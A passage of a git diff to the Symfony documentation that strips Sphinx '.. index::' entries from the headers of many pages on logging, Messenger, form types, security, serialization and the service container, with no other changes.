-.. index::
-    single: HTTP; Symfony request flow
-
 The Symfony Application Flow
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/lock.rst b/lock.rst
index 739c79fcce3..3e93173aedc 100644
--- a/lock.rst
+++ b/lock.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Lock
-
 Dealing with Concurrency with Locks
 ===================================
 
diff --git a/logging/channels_handlers.rst b/logging/channels_handlers.rst
index c329909ad88..b53c136b5bc 100644
--- a/logging/channels_handlers.rst
+++ b/logging/channels_handlers.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Logging
-
 How to Log Messages to different Files
 ======================================
 
diff --git a/logging/monolog_console.rst b/logging/monolog_console.rst
index 008be08a463..133185937c7 100644
--- a/logging/monolog_console.rst
+++ b/logging/monolog_console.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Logging; Console messages
-
 How to Configure Monolog to Display Console Messages
 ====================================================
 
diff --git a/logging/monolog_email.rst b/logging/monolog_email.rst
index cd7292da343..e6da3dbeb51 100644
--- a/logging/monolog_email.rst
+++ b/logging/monolog_email.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Logging; Emailing errors
-
 How to Configure Monolog to Email Errors
 ========================================
 
diff --git a/logging/monolog_exclude_http_codes.rst b/logging/monolog_exclude_http_codes.rst
index d698752f06a..a49dcfe8e1f 100644
--- a/logging/monolog_exclude_http_codes.rst
+++ b/logging/monolog_exclude_http_codes.rst
@@ -1,8 +1,3 @@
-.. index::
-   single: Logging
-   single: Logging; Exclude HTTP Codes
-   single: Monolog; Exclude HTTP Codes
-
 How to Configure Monolog to Exclude Specific HTTP Codes from the Log
 ====================================================================
 
diff --git a/mercure.rst b/mercure.rst
index be70ae7ef92..6ad0c05c3df 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Mercure
-
 Pushing Data to Clients Using the Mercure Protocol
 ==================================================
 
diff --git a/messenger.rst b/messenger.rst
index 90292aa6574..64704f65b4e 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Messenger
-
 Messenger: Sync & Queued Message Handling
 =========================================
 
diff --git a/messenger/dispatch_after_current_bus.rst b/messenger/dispatch_after_current_bus.rst
index ec1adf4d0f4..21d1f61a1d3 100644
--- a/messenger/dispatch_after_current_bus.rst
+++ b/messenger/dispatch_after_current_bus.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Messenger; Record messages; Transaction messages
-
 Transactional Messages: Handle New Messages After Handling is Done
 ==================================================================
 
diff --git a/messenger/handler_results.rst b/messenger/handler_results.rst
index 8d630d011f4..8e8d3b9ebba 100644
--- a/messenger/handler_results.rst
+++ b/messenger/handler_results.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Messenger; Getting results / Working with command & query buses
-
 Getting Results from your Handler
 =================================
 
diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst
index dba1ebf5930..08f788ec109 100644
--- a/messenger/multiple_buses.rst
+++ b/messenger/multiple_buses.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Messenger; Multiple buses
-
 Multiple Buses
 ==============
 
diff --git a/migration.rst b/migration.rst
index 9d94e1377d1..8194c4b9be1 100644
--- a/migration.rst
+++ b/migration.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Migration
-
 Migrating an Existing Application to Symfony
 ============================================
 
diff --git a/notifier.rst b/notifier.rst
index f1746ffb7b0..e7b7f3a7fcc 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Notifier
-
 Creating and Sending Notifications
 ==================================
 
@@ -825,9 +822,6 @@ all configured texter and chatter transports only in the ``dev`` (and/or
 
 .. _notifier-events:
 
-.. index::
-    single: Notifier; Events
-
 Using Events
 ------------
 
diff --git a/page_creation.rst b/page_creation.rst
index 7cef4a9781c..b053e0a88a7 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Create your First Page in Symfony
-
 .. _creating-pages-in-symfony2:
 .. _creating-pages-in-symfony:
 
@@ -29,9 +26,6 @@ two-step process:
     Symfony *embraces* the HTTP Request-Response lifecycle. To find out more,
     see :doc:`/introduction/http_fundamentals`.
 
-.. index::
-   single: Page creation; Example
-
 Creating a Page: Route and Controller
 -------------------------------------
 
diff --git a/performance.rst b/performance.rst
index 17c77d7c038..f855c7f4bd8 100644
--- a/performance.rst
+++ b/performance.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Performance; Byte code cache; OPcache; APC
-
 Performance
 ===========
 
diff --git a/profiler.rst b/profiler.rst
index e889ba527b8..8ae4d9dab36 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -224,9 +224,6 @@ event::
         }
     }
 
-.. index::
-   single: Profiling; Data collector
-
 .. _profiler-data-collector:
 
 Creating a Data Collector
diff --git a/reference/attributes.rst b/reference/attributes.rst
index 671d172c6e2..58815737641 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Attributes
-
 Symfony Attributes Overview
 ===========================
 
diff --git a/reference/configuration/debug.rst b/reference/configuration/debug.rst
index e77ee6e7bd6..292b827214f 100644
--- a/reference/configuration/debug.rst
+++ b/reference/configuration/debug.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Configuration reference; Framework
-
 Debug Configuration Reference (DebugBundle)
 ===========================================
 
diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index 53f98858d90..d2dec43171b 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Doctrine; ORM configuration reference
-    single: Configuration reference; Doctrine ORM
-
 Doctrine Configuration Reference (DoctrineBundle)
 =================================================
 
@@ -24,10 +20,6 @@ configuration.
     namespace and the related XSD schema is available at:
     ``https://symfony.com/schema/dic/doctrine/doctrine-1.0.xsd``
 
-.. index::
-    single: Configuration; Doctrine DBAL
-    single: Doctrine; DBAL configuration
-
 .. _`reference-dbal-configuration`:
 
 Doctrine DBAL Configuration
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 8db3c0abca2..385d006c8f2 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Configuration reference; Framework
-
 .. _framework-bundle-configuration:
 
 Framework Configuration Reference (FrameworkBundle)
diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst
index 924bad05a6e..0e31e423dd9 100644
--- a/reference/configuration/kernel.rst
+++ b/reference/configuration/kernel.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Configuration reference; Kernel class
-
 Configuring in the Kernel
 =========================
 
diff --git a/reference/configuration/monolog.rst b/reference/configuration/monolog.rst
index cf6eb53e443..acabb02af57 100644
--- a/reference/configuration/monolog.rst
+++ b/reference/configuration/monolog.rst
@@ -1,6 +1,3 @@
-.. index::
-    pair: Monolog; Configuration reference
-
 Logging Configuration Reference (MonologBundle)
 ===============================================
 
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 6e4b96c6860..b3ab6d31564 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Security; Configuration reference
-
 Security Configuration Reference (SecurityBundle)
 =================================================
 
diff --git a/reference/configuration/swiftmailer.rst b/reference/configuration/swiftmailer.rst
index 2e46e99b000..304bcef643c 100644
--- a/reference/configuration/swiftmailer.rst
+++ b/reference/configuration/swiftmailer.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Configuration reference; Swift Mailer
-
 Mailer Configuration Reference (SwiftmailerBundle)
 ==================================================
 
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index c686a6fd036..fc1d4886082 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -1,6 +1,3 @@
-.. index::
-    pair: Twig; Configuration reference
-
 Twig Configuration Reference (TwigBundle)
 =========================================
 
diff --git a/reference/configuration/web_profiler.rst b/reference/configuration/web_profiler.rst
index 9d3ddb088f5..fc95fd96833 100644
--- a/reference/configuration/web_profiler.rst
+++ b/reference/configuration/web_profiler.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Configuration reference; WebProfiler
-
 Profiler Configuration Reference (WebProfilerBundle)
 ====================================================
 
diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index 097d9d905cd..cf51ac7c7ff 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Syntax; ExpressionLanguage
-
 The Expression Syntax
 =====================
 
diff --git a/reference/formats/message_format.rst b/reference/formats/message_format.rst
index 3e19567f5cd..cd3f05c4c29 100644
--- a/reference/formats/message_format.rst
+++ b/reference/formats/message_format.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Translation; Message Format
-
 How to Translate Messages using the ICU MessageFormat
 =====================================================
 
diff --git a/reference/formats/yaml.rst b/reference/formats/yaml.rst
index 01d23bf264c..8127bf43729 100644
--- a/reference/formats/yaml.rst
+++ b/reference/formats/yaml.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Yaml; YAML Format
-
 The YAML Format
 ---------------
 
diff --git a/reference/forms/types.rst b/reference/forms/types.rst
index eaa0344f141..aeb8d48ece9 100644
--- a/reference/forms/types.rst
+++ b/reference/forms/types.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Types Reference
-
 Form Types Reference
 ====================
 
diff --git a/reference/forms/types/birthday.rst b/reference/forms/types/birthday.rst
index f130aa9fc6a..2098d3cfb89 100644
--- a/reference/forms/types/birthday.rst
+++ b/reference/forms/types/birthday.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; BirthdayType
-
 BirthdayType Field
 ==================
 
diff --git a/reference/forms/types/button.rst b/reference/forms/types/button.rst
index 5c490a79dca..a83cb0a09b6 100644
--- a/reference/forms/types/button.rst
+++ b/reference/forms/types/button.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; ButtonType
-
 ButtonType Field
 ================
 
diff --git a/reference/forms/types/checkbox.rst b/reference/forms/types/checkbox.rst
index a27637bff4b..2e699464eee 100644
--- a/reference/forms/types/checkbox.rst
+++ b/reference/forms/types/checkbox.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; CheckboxType
-
 CheckboxType Field
 ==================
 
diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index 6775b9d7f6c..beb3f27d08f 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; ChoiceType
-
 ChoiceType Field (select drop-downs, radio buttons & checkboxes)
 ================================================================
 
diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index b88fcde794a..f44f25d7545 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; CollectionType
-
 CollectionType Field
 ====================
 
diff --git a/reference/forms/types/color.rst b/reference/forms/types/color.rst
index 72bfa0eff79..62811d0386d 100644
--- a/reference/forms/types/color.rst
+++ b/reference/forms/types/color.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; ColorType
-
 ColorType Field
 ===============
 
diff --git a/reference/forms/types/country.rst b/reference/forms/types/country.rst
index 4362cefd0d0..3cd748c74c8 100644
--- a/reference/forms/types/country.rst
+++ b/reference/forms/types/country.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; country
-
 CountryType Field
 =================
 
diff --git a/reference/forms/types/currency.rst b/reference/forms/types/currency.rst
index 7ffa36a4f73..7417ac636c2 100644
--- a/reference/forms/types/currency.rst
+++ b/reference/forms/types/currency.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Forms; Fields; currency
-
 CurrencyType Field
 ==================
 
diff --git a/reference/forms/types/date.rst b/reference/forms/types/date.rst
index 22a64567a08..515c12099a1 100644
--- a/reference/forms/types/date.rst
+++ b/reference/forms/types/date.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; DateType
-
 DateType Field
 ==============
 
diff --git a/reference/forms/types/dateinterval.rst b/reference/forms/types/dateinterval.rst
index d625c058836..627fb78d7ed 100644
--- a/reference/forms/types/dateinterval.rst
+++ b/reference/forms/types/dateinterval.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; DateIntervalType
-
 DateIntervalType Field
 ======================
 
diff --git a/reference/forms/types/datetime.rst b/reference/forms/types/datetime.rst
index 8d1e43da07e..cee081e3885 100644
--- a/reference/forms/types/datetime.rst
+++ b/reference/forms/types/datetime.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; DateTimeType
-
 DateTimeType Field
 ==================
 
diff --git a/reference/forms/types/email.rst b/reference/forms/types/email.rst
index e27898386d4..9a5f06c2a9e 100644
--- a/reference/forms/types/email.rst
+++ b/reference/forms/types/email.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; EmailType
-
 EmailType Field
 ===============
 
diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index 721a503aae2..884ab26a0d0 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; EntityType
-
 EntityType Field
 ================
 
diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index c8bd18d2c04..7a01f41f27b 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; EnumType
-
 EnumType Field
 ==============
 
diff --git a/reference/forms/types/file.rst b/reference/forms/types/file.rst
index fc2836cd2cf..29601e860f8 100644
--- a/reference/forms/types/file.rst
+++ b/reference/forms/types/file.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; FileType
-
 FileType Field
 ==============
 
diff --git a/reference/forms/types/form.rst b/reference/forms/types/form.rst
index 945bfafc365..9ef474a0063 100644
--- a/reference/forms/types/form.rst
+++ b/reference/forms/types/form.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; FormType
-
 FormType Field
 ==============
 
diff --git a/reference/forms/types/hidden.rst b/reference/forms/types/hidden.rst
index 4a5a449ae60..fba056b88e5 100644
--- a/reference/forms/types/hidden.rst
+++ b/reference/forms/types/hidden.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; hidden
-
 HiddenType Field
 ================
 
diff --git a/reference/forms/types/integer.rst b/reference/forms/types/integer.rst
index 5889ee0e21f..b88211d9ae5 100644
--- a/reference/forms/types/integer.rst
+++ b/reference/forms/types/integer.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; IntegerType
-
 IntegerType Field
 =================
 
diff --git a/reference/forms/types/language.rst b/reference/forms/types/language.rst
index d95bc28780a..fb667a12338 100644
--- a/reference/forms/types/language.rst
+++ b/reference/forms/types/language.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; LanguageType
-
 LanguageType Field
 ==================
 
diff --git a/reference/forms/types/locale.rst b/reference/forms/types/locale.rst
index 4ee77116489..eb8075093ed 100644
--- a/reference/forms/types/locale.rst
+++ b/reference/forms/types/locale.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; LocaleType
-
 LocaleType Field
 ================
 
diff --git a/reference/forms/types/money.rst b/reference/forms/types/money.rst
index a7fa743846b..99631f3e1e4 100644
--- a/reference/forms/types/money.rst
+++ b/reference/forms/types/money.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; MoneyType
-
 MoneyType Field
 ===============
 
diff --git a/reference/forms/types/number.rst b/reference/forms/types/number.rst
index eda9189f7e3..81b71bfe91b 100644
--- a/reference/forms/types/number.rst
+++ b/reference/forms/types/number.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; NumberType
-
 NumberType Field
 ================
 
diff --git a/reference/forms/types/password.rst b/reference/forms/types/password.rst
index d512be22594..e3e11ecb02f 100644
--- a/reference/forms/types/password.rst
+++ b/reference/forms/types/password.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; PasswordType
-
 PasswordType Field
 ==================
 
diff --git a/reference/forms/types/percent.rst b/reference/forms/types/percent.rst
index 0102f0c1d83..803badd2971 100644
--- a/reference/forms/types/percent.rst
+++ b/reference/forms/types/percent.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; PercentType
-
 PercentType Field
 =================
 
diff --git a/reference/forms/types/radio.rst b/reference/forms/types/radio.rst
index de7a8bbde12..72acd123af3 100644
--- a/reference/forms/types/radio.rst
+++ b/reference/forms/types/radio.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; RadioType
-
 RadioType Field
 ===============
 
diff --git a/reference/forms/types/range.rst b/reference/forms/types/range.rst
index 3d8730ed249..9da6407f881 100644
--- a/reference/forms/types/range.rst
+++ b/reference/forms/types/range.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; RangeType
-
 RangeType Field
 ===============
 
diff --git a/reference/forms/types/repeated.rst b/reference/forms/types/repeated.rst
index 04796df2c6b..e5bd0cd4520 100644
--- a/reference/forms/types/repeated.rst
+++ b/reference/forms/types/repeated.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; RepeatedType
-
 RepeatedType Field
 ==================
 
diff --git a/reference/forms/types/reset.rst b/reference/forms/types/reset.rst
index 6fd9b99d7fb..1f2df508178 100644
--- a/reference/forms/types/reset.rst
+++ b/reference/forms/types/reset.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; ResetType
-
 ResetType Field
 ===============
 
diff --git a/reference/forms/types/search.rst b/reference/forms/types/search.rst
index 048dd535ab5..8eeefb053d5 100644
--- a/reference/forms/types/search.rst
+++ b/reference/forms/types/search.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; SearchType
-
 SearchType Field
 ================
 
diff --git a/reference/forms/types/submit.rst b/reference/forms/types/submit.rst
index 0ac866d82e9..70fa429685a 100644
--- a/reference/forms/types/submit.rst
+++ b/reference/forms/types/submit.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; SubmitType
-
 SubmitType Field
 ================
 
diff --git a/reference/forms/types/tel.rst b/reference/forms/types/tel.rst
index aebbe3de487..cca1c52a4be 100644
--- a/reference/forms/types/tel.rst
+++ b/reference/forms/types/tel.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; TelType
-
 TelType Field
 =============
 
diff --git a/reference/forms/types/text.rst b/reference/forms/types/text.rst
index 204c496ce85..dd690c6e6df 100644
--- a/reference/forms/types/text.rst
+++ b/reference/forms/types/text.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; TextType
-
 TextType Field
 ==============
 
diff --git a/reference/forms/types/textarea.rst b/reference/forms/types/textarea.rst
index 329c91731b4..e642cbdb4db 100644
--- a/reference/forms/types/textarea.rst
+++ b/reference/forms/types/textarea.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; TextareaType
-
 TextareaType Field
 ==================
 
diff --git a/reference/forms/types/time.rst b/reference/forms/types/time.rst
index 96fabf194f5..b45b0eab561 100644
--- a/reference/forms/types/time.rst
+++ b/reference/forms/types/time.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; TimeType
-
 TimeType Field
 ==============
 
diff --git a/reference/forms/types/timezone.rst b/reference/forms/types/timezone.rst
index 6dc0d793b3b..9d1b1a7edef 100644
--- a/reference/forms/types/timezone.rst
+++ b/reference/forms/types/timezone.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; TimezoneType
-
 TimezoneType Field
 ==================
 
diff --git a/reference/forms/types/ulid.rst b/reference/forms/types/ulid.rst
index 90d2f33589b..9ad8e7a6fee 100644
--- a/reference/forms/types/ulid.rst
+++ b/reference/forms/types/ulid.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; UuidType
-
 UlidType Field
 ==============
 
diff --git a/reference/forms/types/url.rst b/reference/forms/types/url.rst
index 6a5d368c41c..b75a2b1db0c 100644
--- a/reference/forms/types/url.rst
+++ b/reference/forms/types/url.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; UrlType
-
 UrlType Field
 =============
 
diff --git a/reference/forms/types/uuid.rst b/reference/forms/types/uuid.rst
index c5d0827558e..6c0cd576cae 100644
--- a/reference/forms/types/uuid.rst
+++ b/reference/forms/types/uuid.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; UuidType
-
 UuidType Field
 ==============
 
diff --git a/reference/forms/types/week.rst b/reference/forms/types/week.rst
index 045851adc96..84ee98aff85 100644
--- a/reference/forms/types/week.rst
+++ b/reference/forms/types/week.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; WeekType
-
 WeekType Field
 ==============
 
diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 4cb698217af..38d96910fd2 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Symfony Twig extensions
-
 Twig Extensions Defined by Symfony
 ==================================
 
diff --git a/routing.rst b/routing.rst
index 7bbb5cf0804..66769dcc9de 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Routing
-
 Routing
 =======
 
diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index b8b9f4c1d76..7c050010ed5 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Routing; Custom route loader
-
 How to Create a custom Route Loader
 ===================================
 
diff --git a/routing/routing_from_database.rst b/routing/routing_from_database.rst
index 28d539a77f1..634bb537462 100644
--- a/routing/routing_from_database.rst
+++ b/routing/routing_from_database.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Routing; Extra Information
-
 Looking up Routes from a Database: Symfony CMF DynamicRouter
 ============================================================
 
diff --git a/security.rst b/security.rst
index cb2e21d675e..fb0ad14e2ac 100644
--- a/security.rst
+++ b/security.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Security
-
 Security
 ========
 
diff --git a/security/access_denied_handler.rst b/security/access_denied_handler.rst
index b1c73ce5e88..93448456cf0 100644
--- a/security/access_denied_handler.rst
+++ b/security/access_denied_handler.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Security; Creating a Custom Access Denied Handler
-
 How to Customize Access Denied Responses
 ========================================
 
diff --git a/security/csrf.rst b/security/csrf.rst
index 5e659be9750..a03cfc59c00 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: CSRF; CSRF protection
-
 How to Implement CSRF Protection
 ================================
 
diff --git a/security/expressions.rst b/security/expressions.rst
index 654ea147d44..91f42d22cbc 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Expressions in the Framework
-
 Using Expressions in Security Access Controls
 =============================================
 
diff --git a/security/firewall_restriction.rst b/security/firewall_restriction.rst
index 59e261e8628..dcf6a1a5f4d 100644
--- a/security/firewall_restriction.rst
+++ b/security/firewall_restriction.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Security; Restrict Security Firewalls to a Request
-
 How to Restrict Firewalls to a Request
 ======================================
 
diff --git a/security/force_https.rst b/security/force_https.rst
index ac59f245a94..817adbdb50f 100644
--- a/security/force_https.rst
+++ b/security/force_https.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Security; Force HTTPS
-
 How to Force HTTPS or HTTP for different URLs
 =============================================
 
diff --git a/security/form_login.rst b/security/form_login.rst
index 5bae5c6e62b..ec8f4a1d373 100644
--- a/security/form_login.rst
+++ b/security/form_login.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Security; Customizing form login redirect
-
 Customizing the Form Login Authenticator Responses
 ==================================================
 
diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index d596d473845..99ba88d2b25 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Security; Impersonating User
-
 How to Impersonate a User
 =========================
 
diff --git a/security/ldap.rst b/security/ldap.rst
index ff768969771..f6344d45842 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Security; Authenticating against an LDAP server
-
 Authenticating against an LDAP server
 =====================================
 
diff --git a/security/login_link.rst b/security/login_link.rst
index b1688490f5f..4dea64c7662 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Security; Login link
-   single: Security; Magic link login
-
 How to use Passwordless Login Link Authentication
 =================================================
 
diff --git a/security/remember_me.rst b/security/remember_me.rst
index 5b3ce54fb4a..58fbeb6e959 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Security; "Remember me"
-
 How to Add "Remember Me" Login Functionality
 ============================================
 
diff --git a/security/user_checkers.rst b/security/user_checkers.rst
index a404a668932..66981736ded 100644
--- a/security/user_checkers.rst
+++ b/security/user_checkers.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Security; Creating and Enabling Custom User Checkers
-
 How to Create and Enable Custom User Checkers
 =============================================
 
diff --git a/security/voters.rst b/security/voters.rst
index a2f89832706..a770e386c02 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Security; Data Permission Voters
-
 .. _security/custom-voter:
 
 How to Use Voters to Check User Permissions
diff --git a/serializer.rst b/serializer.rst
index d02dc302e56..04ffb540374 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Serializer
-
 How to Use the Serializer
 =========================
 
diff --git a/serializer/custom_encoders.rst b/serializer/custom_encoders.rst
index 7f8a0e1b4f2..432cb205b63 100644
--- a/serializer/custom_encoders.rst
+++ b/serializer/custom_encoders.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Serializer; Custom encoders
-
 How to Create your Custom Encoder
 =================================
 
diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 5630eb4e552..c2c8c5d0bbf 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Serializer; Custom normalizers
-
 How to Create your Custom Normalizer
 ====================================
 
diff --git a/service_container.rst b/service_container.rst
index 5b2321bfbaa..47a421f1345 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Service Container
-   single: DependencyInjection; Container
-
 Service Container
 =================
 
@@ -89,9 +85,6 @@ in the container.
     you won't need to worry about this. See :ref:`services-wire-specific-service`.
     See :doc:`/service_container/debug`.
 
-.. index::
-   single: Service Container; Configuring services
-
 .. _service-container-creating-service:
 
 Creating/Configuring Services in the Container
diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index 7f39478a247..44a8492a53d 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: DependencyInjection; Advanced configuration
-
 How to Create Service Aliases and Mark Services as Private
 ==========================================================
 
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 0d0a3d27398..39fa1ba5299 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: DependencyInjection; Autowiring
-
 Defining Services Dependencies Automatically (Autowiring)
 =========================================================
 
diff --git a/service_container/calls.rst b/service_container/calls.rst
index 5e6036421df..a76cedbca2c 100644
--- a/service_container/calls.rst
+++ b/service_container/calls.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: DependencyInjection; Method Calls
-
 Service Method Calls and Setter Injection
 =========================================
 
diff --git a/service_container/compiler_passes.rst b/service_container/compiler_passes.rst
index 462c5942824..34eee2e67df 100644
--- a/service_container/compiler_passes.rst
+++ b/service_container/compiler_passes.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: DependencyInjection; Compiler passes
-   single: Service Container; Compiler passes
-
 How to Work with Compiler Passes
 ================================
 
diff --git a/service_container/configurators.rst b/service_container/configurators.rst
index 4fab69c5551..055eb541ae8 100644
--- a/service_container/configurators.rst
+++ b/service_container/configurators.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: DependencyInjection; Service configurators
-
 How to Configure a Service with a Configurator
 ==============================================
 
diff --git a/service_container/debug.rst b/service_container/debug.rst
index e949f6234f9..1e460b03770 100644
--- a/service_container/debug.rst
+++ b/service_container/debug.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: DependencyInjection; Debug
-    single: Service Container; Debug
-
 How to Debug the Service Container & List Services
 ==================================================
 
diff --git a/service_container/definitions.rst b/service_container/definitions.rst
index 160f92c8315..e54a99237d9 100644
--- a/service_container/definitions.rst
+++ b/service_container/definitions.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: DependencyInjection; Service definitions
-
 How to work with Service Definition Objects
 ===========================================
 
diff --git a/service_container/expression_language.rst b/service_container/expression_language.rst
index 9887cefb443..908ad68da5a 100644
--- a/service_container/expression_language.rst
+++ b/service_container/expression_language.rst
@@ -1,9 +1,3 @@
-.. index::
